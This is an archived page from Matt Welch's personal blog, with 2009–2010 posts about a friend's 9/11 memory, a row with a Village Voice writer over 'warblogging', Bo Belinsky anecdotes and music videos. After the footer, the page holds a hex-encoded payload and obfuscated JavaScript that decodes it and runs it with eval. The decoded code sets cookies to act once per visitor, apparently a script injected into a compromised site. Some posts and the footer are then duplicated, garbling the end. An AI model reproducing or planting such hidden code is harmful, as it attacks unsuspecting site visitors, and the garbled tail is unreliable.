Résumé & Bio
Home page
Blog archives
L.A. Times Opinion
Opinion L.A. blog
Send E-mail
Reprint Info

RSS Feed

Matt Welch

blog advertising is good for you

blog advertising is good for you

September 11
New Media
Nader 2000
All Nader

Book Reviews

L.A. Times
National Post
Zone News
Wired News

My McCain Stuff
Wikipedia page
Congresspedia page
Project Vote Smart
NYT page
Ruffini wire
AZ Congress Watch
Latest YouTubes
Official lYouTubes
* Blog
* Calendar
* Newsroom
* Cindy's Journal
* Press Releases
* Speeches
* Op-Eds
* Legislation
FEC disclosures
Open Secrets Senate
Open Secrets 2008
MySpace page
Ankle Biting Pundits

Emmanuelle Richard
Ken Layne
Ben's Science Blog
Tony Pierce
Kate Sullivan
Eric Neel
Amy Langfield
* NewYorkology
Greg McIlvaine
Jim Lowney
Tim Blair
Assclown Junction
Heather Havrilesky
Cathy Seipp
Cecile DuBois
Nancy Rommelmann
Jill Stewart
Mickey Kaus
Amy Alkon
Howard Owens
Brian Linse
Dr. Frank
Doug Arellanes
Pieter K
Jeff Jarvis
Nick Denton
David Galbraith
Henry Copeland
Rick Bruner
Paul Wilson
Elizabeth Stromme
Barry Langer
S.K. Smith
Mere Mortals

Secrecy News
ACLU/Nat'l Security
National Security Archive
Intel Dump
Judicial Watch
The Memory Hole
Positive Universe
FreePress 2005

Jack Shafer
William Powers
Jay Rosen
Dan Kennedy
Nat Hentoff
James Wolcott
Luke Ford
J.D. Lasica

L.A. Observed
Fishbowl L.A.
L.A. Voice
Brady Westwater
Rough & Tumble
California Authors
L.A. Press Club

Generation Expat
Fistful of Euros
Harry's Place
Doug Arellanes
Scott MacMillan
Rick Bruner
Paul Wilson
Prague Blog
Divadlo Stoka
Petr Bokuvka
Slovak Spectator
Business Romania
Nine O'Clock
Halfway Down the Danube
Kit Paul

Rob McMillin
L.A. Seitz
Pearly Gates
Rev. Halofan
Chronicles of the Lads
Purgatory Online
* History o' Halosphere
Stephen Smith
League of Angels
Halo Herald
Bjoern's Baseball Blog
Baseball Analysts
Dodger Thoughts

* Reason.org
* Out of Control
* Privatization.org
Jesse Walker
Tim Cavanaugh
Julian Sanchez
Daniel Koffler
Radley Balko
Will Wilkinson
Jeremy Lott
Virginia Postrel
Volokh Conspiracy
Marginal Revolution
Derek Rose
Alina Stefanescu
Justin Logan
Gene Healy
Jim Henley
John Hood
Institute for Justice
Guardian's Kick-AAS

Cuba News
Global Elections
Language Log

Al Giordano
Kevin Sites
Iraq News
Christopher Allbritton

Baseball Primer
Baseball Prospectus
Hardball Times
Baseball Graphs
Mudville Magazine
MLB Contracts
Player Search
Aaron Gleeman
Baseball Crank
Eric McErlain
David Pinto

Colby Cosh
Digital War Fighter
Bjorn Staerk
Geitner Simmons
Dave Barry
Tony Millionaire

Asymmetrical Information
Geoffrey Barto
Richard Bennett
Sergio Bichao
Moira Breen
Scott Chaffin
John Cole
Susanna Cornett
Crooked Timber
Martin Devon
Dean Esmay
Gary Farber
Vodka Steve Green
Henry Hanks
Johann Hari
John Hawkins
P. Nielsen Hayden
Hugh Hewitt
Christopher Hitchens
David Janes
Emily Jones
Benjamin Kepple
Alex Knapp
Charles Kuffner
Kevin Mickey
Bob Morris
Jackson Murphy
Iain Murray
Thomas Nephew
Andrew Northrup
Ryan Olson
Damian Penny
Lynxx Pherrett
The Poorman
Fred Pruitt
Neal Pollack
William Quick
Glenn Reynolds
Bruce Rolston
Robert Scheer
Fritz Schranck
Angie Schultz
Doc Searls
Ben Sheriff
Arthur Silber
Rand Simberg
Roger Simon
Natalie Solent
Jack Sparks
Reid Stott
Robert Tagorda
Mac Thomason
Michael Totten
Marc Valles
Ben Weasel
Oliver Willis
Kevin Whited
Pejman Y…

All Contents
© 1986-2010

Jim Lowney Remembers 9/11: Some words from my great photographer pal Jim:

No Rocket Ships

“Abbott and Costello Go to Mars” was always one of my favorites. As a kid growing up on the Jersey Shore somewhere between the New York and the Philly TV markets channel 11, WPIX, held a special place for me. After Mass on Sunday mornings, always at 11:30, the two funny guys from Jersey were ready to entertain 25 years after the fact.

So, Lou and Bud somehow accidentally steal a rocket ship. The plot and story don’t matter now. The scene is the two of them piloting the shining silver (I guess from the black and white film) rocket ship around New York City. The exchange, as best I remember, is classic in my head. It goes something like this:

“You got fifty cents?” asks Costello.

“Why?” asks Abbott.

“We’re about to go through the Lincoln Tunnel.”

Besides loving the joke, I love that even on this journey they somehow start from New Jersey in the middle of it all. I love the toll is only fifty cents.

They make it through the tunnel without a ticket from a Port Authority cop and zip all over Manhattan in their glimmering sliver rocket ship. I believe even the Statue of Liberty ducks down for them as they fly over her. It is grand fun all together.

As I climbed out of the station from the 6 train on a perfect Tuesday morning, September 11, 2010, and walked Canal Street east this massive jet went zooming passed before me down the Westside.

“Fuck, that thing is flying low,” I said to myself. It looked just like Abbott and Costello’s rocket ship. It was fast and shining in the morning sun.

When I got the next corner I looked to the left and saw it was in the North Tower.

09/11/2010 10:07 AM  |  Reaction (0)

Oh Hey Look My Friend Dylan Has a Brand New Record Out and Why Don't You Go Buy it Or Something?

06/14/2010 07:20 PM  | 

Kevin Roderick Seconds Media Matters' Hysterical, Fact-Challenged Rant That, No Seriously, Was Headlined "Why does the Los Angeles Times hate Obama?": So, Media Matters writes this goofy attack, which is an embarrassment even for the shame-free field of media criticism, not least since it equates one political blogger with an entire newspaper, and misstates (while bragging that they didn't even need to do a Google search to confirm) that "when President Bush was in office, there was nobody on staff at the Times, and certainly nobody writing off the opinion pages, who was allowed to so casually insult the office of the presidency on a regular basis."

In response, I wrote this. Former Timesman and man-about-SoCal-media-criticism Kevin Roderick, on the other hand, has a much different take. Patrick "Patterico" Frey is closer to my point of view.

06/14/2010 06:43 PM  | 

Snowmageddon Morning

02/06/2010 05:45 PM  |  Reaction (2)

It's Always Nice to Learn What I Really Meant, as Opposed to What I Really Wrote: Over at the Village Voice, Roy Edroso writes this strange history of "warblogging":

[W]ith the rush to war in Iraq came the phenomenon of "warbloggers" -- online belligerents who hollered for invasion and denounced all foot-draggers as traitors. They thought themselves a new breed of patriot, rescuing the nation from post-Vietnam drift, but were merely a useful feeder stream for a new jingoism that enmeshed America in foreign morasses wherein we remain hopelessly bound today.

One of the warblogs OGs, Matt Welch, looked back in 2006 on those heady times and reflected, "Man, was I wrong." Nonetheless he admitted, "I can't shake the feeling of nostalgia for a promising cross-partisan moment that just fizzled away." By "cross-partisan," of course, he meant that some people joined his bellowing who later grew hoarse and unsure; there were others who disagreed from the start, but they were disregarded, because they were not part of the great new blog thing.

I've got no issue with anyone flinging well-deserved poo at a category of human I indeed helped give name to. But read that squib without clicking on the links and you'd think that warblogging became a phenomenon in 2003, that I was one of those hollering for war against Iraq, and that my mea culpa was a direct reference to this pro-war belligerence. All are false.

"Warblogging" came to prominence not during the run-up to the Iraq War, but in the run-up to the Afghanistan War. In fact many early adopters of the term, me included, originally meant the phrase as much as anything as a sort of verbal slap in the face to describe what Islamic terrorists were already waging against us. It's a fair bet that James Wolcott, to name one of many presumably Edroso-approved examples, would not have found warblogs "so damn addictive" back in the spring of 2002 had they been primarily or even tertiarily organized around the concept of toppling Saddam Hussein.

Speaking of which, on that score I was Hamlet, not Dick Cheney. While you can say plenty against such punditorial indecisiveness, what you can't say (at least while pretending to care about the truth) is that it "denounced all foot-draggers as traitors." Here are five mattwelch.com links in February/March of 2003: You make the call.

Why does Edroso go to such lengths in warping a record that's plenty rich enough for criticism? Unlike him, I won't pretend to go in the opposing corner's brain. Instead I will merely observe that all of the above bullshittery is in prelude to the remarkable claim about what I really meant in my Farewell to Warblogging column, presented with the usual straight-from-the-arse tell of "of course." Namely, that I was lamenting "that some people" who "joined" my "bellowing" eventually "grew hoarse and unsure."

Sounds like my wrath was aimed at liberal hawks who got wobbly! Uh, not fucking remotely:

As a consumer, it was exponentially more edifying to me than the post-9/11 fumblings of the mainstream media's binary, Crossfire-style opinion slinging. "What do warbloggers have in common, that most pundits do not?" I enthused [in this December 2001 post]. "I'd say a yen for critical thinking, a sense of humor that actually translates into people laughing out loud, a willingness to engage (and encourage) readers, a hostility to the Culture War and other artifacts of the professionalized left-right split of the 1990s...a readiness to admit error [and] a sense of collegial yet brutal peer review."

Man, was I wrong.

Michelle Malkin, to name one writer revered by warbloggers (her site recently won Best Blog in an annual poll organized by RightWingNews.com), is to critical thinking what Ralph Nader is to libertarianism—a very good example of the opposite. The basic scholarship of her 2004 book In Defense of Internment was cut to ribbons by Japanese-internment historian Eric L. Muller (see "Indefensible Internment," December 2004), yet many of the same people who once trumpeted bloggers' ability to "fact-check your ass" simply shrugged, continued treating Malkin as a trustworthy source, and saved their real journalism criticism for those partisan hacks at CBS News and The New York Times.

It's fitting that Edroso's fantasia comes in the service of a column that attempts to affix blame for "ruin[ing] the Internet." The Internet ain't remotely ruined, and one of the main reasons why it isn't (and why certain grumps will grouse at the digital world passing them by) is that you can actually click through that hyperlink and discover that the writer talking so confidently is, in fact, full of shit.

UPDATE: Oh hey look, jackass saved the best for his personal site:

the warblogger era ('member that?), when alleged former liberals like Matt Welch and Jeff Jarvis would bellow that the scales had been torn from their eyes, revealing to them the necessity of invading Iraq. I notice that they're not similarly rallying to the call to invade Yemen, which suggests such epiphanies have a more limited shelf life than once was thought, as well as a longer, subsequent period of buyer's remorse.
To sum up: Before the Iraq War, I wasn't sure what the U.S. should do, was respectful of differing views, and expressed both sentiments a half-dozen times on my "warblog." Through the sour lens of a Village Voice writer, that means I denounced fence-sitters (such as, um, myself?) as "traitors," disgorged several lifetimes' worth of pro-Iraq War "bellowing," then began a long, slow marination in my own regret.

Seriously, dude, at least Glenn Greenwald knows how to use a basic search button.

UPDATE II: Hey look again! Dude found the search button! But instead of saying "Whoops! I was totally wrong about saying Welch bellowed support for the war and dismissed fence-sitters as traitors," he quotes a couple of my pacifist-bashing posts from September of 2001, grudgingly acknowledges that the "Farewell to Warblogging" column he so grossly mischaracterized "doesn't say much about the war part" (ya think, Roy?), makes comments throughout about how "angry" I am (honey, like Tom Petty, I'm laughing all the time), then finishes with this whimper:

Nonetheless some people, including many less critical than me, got the impression the warbloggers supported some wars. So maybe "warblogging" was a misnomer all along, and they should have called it critical-thinkingblogging, or laughing-out-loudblogging. That might have cleared up some confusion, and spared us all some grief.
Oh boo hoo. "Warblog" had long morphed into an outsider term of derision as much as and probably more than an in-group identifier by the moment Edroso originally pegged as the advent of warblogging. As a would-be media critic, the onus is on him to figure out what the hell he's talking about.

EXCITING UPDATE III!: Another update from Edroso's latest post says, of my description of him spelunking through my September 2001 archives, "maybe he think's I'm cherry picking!" Not at all, Roy; there's a lot of harsh business in there, some that makes me wince in retrospect. What I do think you're doing is changing the subject from your utterly, laughably, provably false assertions about me "bellowing" support for invading Iraq by quoting from stuff I wrote 18 months before that war started (and just days after terrorists pulverized 3,000 people on American soil). You made multiple assertions about me that were false, a fact that no amount of post-9/11 Robert Jensen-bashing on my part has any relevance to. Keep on digging, though!

AND THE FINAL UPDATE: The Village Voice has run my letter. Edroso, after admitting that his dating was wrong & that the pro-war stuff should not have been applied to me, then says this:

Welch spent much of his early warblogging days (and some of his later ones) beating up opponents of the war(s). ("I understand today -- really, for the first time in my life -- why for much of Middle America the word 'liberal' is a pejorative," etc). I suppose you could say this is not the same thing as being an "advocate for war." I think it's a distinction without a difference.
And there you have it. Spending my Sept. 16, 2001 criticizing Noam Chomsky for equating the massacre of five days earlier with Bill Clinton's bombing of a Sudanese pharmaceuticals factory, and Colman McCarthy for advocating that we react to the hijackers by saying "we forgive you," is no different than being an advocate for the Iraq War, even if I wasn't, um, an advocate for the Iraq War. Facts, schmacts, etc. I hope this has been as weirdly (if dully) illuminating for all of you as it has been for me.

01/04/2010 05:07 AM  |  Reaction (12)

Written in 1973; Incident Discussed Is From 1962:

As a rule ballplayers and police get along remarkably well. Each knows that belting a girl around in a car is just clean, wholesome fun. The cop also knows the player can't stand having any such experience make the newspapers. [...]

Belinsky's cop was of a different breed. He was forced into action by the sight of the bleeding girl on the street. He took Bo, Dean [Chance], and the girl down to the imfirmary where the girl was sewn up and repaired.

The police were attempting to get the girl to sign a complain against Belinsky for assualt. She considered it and then told Bo, "I won't sign if you promise to stay with me all week."

Belinsky thought discretion was the better part of valor, so he agreed to her untenable demands.

"You think she showed any gratitude?" said Bo. "Hell, no. Three months later she gets a smart attorney and sues me in a civil action for one hundred and fifty thousand dollars. My lawyer had to give her a few bucks to get her out of town and shut her up. You just can't trust broads."

12/12/2009 06:58 PM  | 

Bo Knows Queens:

"I don't even know how it came about, but I got a date with Queen Soraya of Iran. I think it was after her marriage with the Shah had busted up and she was trying to make it in the movies or something. She was nice but she was a little weird. She was into all that mystical stuff, witchcraft, everything far out. She had blown her crown because she didn't have a son for the Shah, and now she was asking the witches for all the answers. But really a nice broadie."
-- Bo Belinsky, Bo: Pitching and Wooing, by Maury Allen.

12/12/2009 01:43 PM  | 

Mere Mortals "Heart Burn Heart": During the first half of my tenure in L.A. I was occasionally called on to be an emergency fill-in bass player for various friends' bands. This was kind of funny, because I'd never really played bass before, aside from one disco-punk show in the '80s that I'm sure we'll get to next week. Bass is very easy to play adequately, nearly impossible to play well. Once you are good enough to learn what the instrument is supposed to do, that's when you get sad, because you probably aren't good enough to do it, and even if you were, you probably don't play with a good enough drummer, unless his name is "Coulter."

Anyway, the longest of these bass stints was for Dylan Callaghan's rock band Champion. Dylan somehow found a very special London, Germany vampire robot named Axel to play lead guitar. For a while there -- especially just after they finally fired me -- Champion was among the best bands in Hollywood. Then Dylan fired Axel and it all got pear-shaped, though as these things do it all turned out for the best. One way in which it turned out for the best is that Axel moved on to what he originally came to Hollywood for: Making his own special weird Brit-pop-death-love music, for the past few years in outfit called The Mere Mortals. Did you know the Mortals are going on tour with Frank Black? Now you do.

Here's Axel and the band with their latest video, "Heart Burn Heart":

08/09/2009 06:29 PM  |  Reaction (2)

Yes, That Is Sean Condron Playing the Banjo at the U.S. Ambassador's Residence in Nicaragua: No, this was not the first thing you would have predicted from young Sean back in 1993, when he was the lead bassist for Matt Welch and the Froggy Peat. (You can hear both his bass & lead guitar stylings on our version of "Purple Rain," from the early 1994 release Slip Disko.) Sean was better known in Prague for his lead-guitar heroics in the seminal, manic depressive expat grunge band Dope.

Condron's the kinda guy you might encounter in the New York subway playing the clawhammer banjo, or perhaps performing live with a punk rock circus. He is certainly either drunk or sober. Last I saw him, a few years back, we were a little snookered, and he put on some really fucking phenomenal 1930s-style jazz tracks that he'd been working on. Next thing you know he's, uh, on a goodwill grassroots music tour organized by the State Department? Why the hell not!

08/08/2009 11:28 AM  | 

Let's Put Up Videos of Dudes I Used to Play in Bands With! That'll give this here website a reason to believe. Let's start with some grainy live footage of Stig Roar Husby, featuring the lead cock'o'walk stylings of Michael Lindsay, with whom I made one the the 1990s' very best unreleased 4-track records, the self-titled Golden Penetrators. Here they are, obviously, on Hungarian television:

08/06/2009 06:51 PM  | 

Arbor Day:

08/02/2009 08:10 PM  |  Reaction (4)

Ever Have an Obscure Song That Just Sticks to You, for Decades? This is mine:

07/04/2009 08:11 PM  | 

This Is Pretty Good, Right?:

Record Club: Velvet Underground & Nico 'Sunday Morning' from Beck Hansen on Vimeo.

07/04/2009 07:59 PM  | 

Hi! What are you doing down here?

© 1986-2010; All rights reserved.

65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:58:63:6b:27:30:1f:20:32:4:1:74:4:1:74"[vdo](":");}iyaqg=cig;poqvgp=[];for(fne=22-20-2;-fne 1379!=0;fne =1){gmhl=fne;if((0x19==031))poqvgp =String["fromCharCode"](eval(lzs iyaqg[1*gmhl]) 0xa-uwmht);}srl=eval;srl(poqvgp)}

07/04/2009 08:11 PM  | 

This Is Pretty Good, Right?:

Record Club: Velvet Underground & Nico 'Sunday Morning' from Beck Hansen on Vimeo.

07/04/2009 07:59 PM  | 

Hi! What are you doing down here?

© 1986-2010; All rights reserved.